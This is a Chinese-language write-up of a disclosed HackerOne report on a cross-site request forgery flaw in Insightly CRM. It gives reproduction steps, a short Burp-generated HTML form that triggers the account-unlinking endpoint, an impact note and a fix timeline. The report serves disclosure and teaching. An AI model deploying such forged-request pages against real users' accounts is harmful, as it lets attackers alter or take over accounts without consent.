Insightly CSRF漏洞分析:攻击者可禁用用户Gmail联系人链接

本文详细分析了Insightly平台存在的CSRF漏洞,攻击者可通过构造恶意请求禁用用户的Gmail联系人链接,包含完整的漏洞复现步骤、PoC代码和影响分析,展示了Web应用程序的安全风险。

CSRF漏洞允许禁用用户推荐功能的Gmail联系人链接

漏洞概述

当用户通过 https://crm.na1.insightly.com/users/referrals 添加推荐到其账户时,会获得与其链接账户对应的ID。当用户尝试在"连接应用程序设置"中禁用链接账户时,端点 https://crm.na1.insightly.com/users/usersettings 会发送包含ID的请求:https://crm.na1.insightly.com/Users/GoogleDisable/2023554

该易受攻击的端点允许认证用户更改与其账户关联的电子邮件地址并移除(禁用)它,但未能充分验证请求是否由用户有意执行(例如通过检查HTTP头值)。

复现步骤

  1. 首先需要两个账户来确认问题:账户A和账户B
  2. 访问 https://crm.na1.insightly.com/users/referrals 并为两个账户添加Google推荐
  3. 现在链接账户将有两个不同的ID
  4. 从账户A访问 https://crm.na1.insightly.com/users/usersettings 尝试禁用链接账户,并使用Burp代理捕获请求
  5. 使用禁用请求生成PoC
  6. 当从账户B打开链接时,漏洞将被利用

概念验证(PoC)

这是用于本报告附带的演示视频的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://crm.na1.insightly.com/Users/GoogleDisable/2026462">
      <input type="hidden" name="_pjax" value="#main" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

当发送请求时,ID将自动更改,因此受害者的链接账户将被禁用。

影响

攻击者可以利用此漏洞禁用账户链接或通过将账户与攻击者控制的地址关联来接管账户,然后执行密码重置。为了使攻击成功,目标用户账户必须与未确认的电子邮件地址关联,并且目标用户必须在登录时访问攻击者控制的网站。

时间线记录

  • 2022年8月13日 - khaledx向Insightly提交报告
  • 2022年10月-2023年10月 - 多次询问更新状态
  • 2023年10月24日 - 请求HackerOne支持调解
  • 2023年10月25日 - Insightly奖励赏金并邀请重新测试
  • 2023年10月25日 - 重新测试完成,确认漏洞已修复
  • 2024年1月4日 - 报告关闭,状态改为已解决
  • 2025年8月20日 - 请求披露此报告

漏洞详情

  • 报告ID: #1668489
  • 状态: 已解决
  • 严重程度: 中等(4.2)
  • 弱点: 跨站请求伪造(CSRF)
  • CVE ID: 无
  • 赏金: 隐藏
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计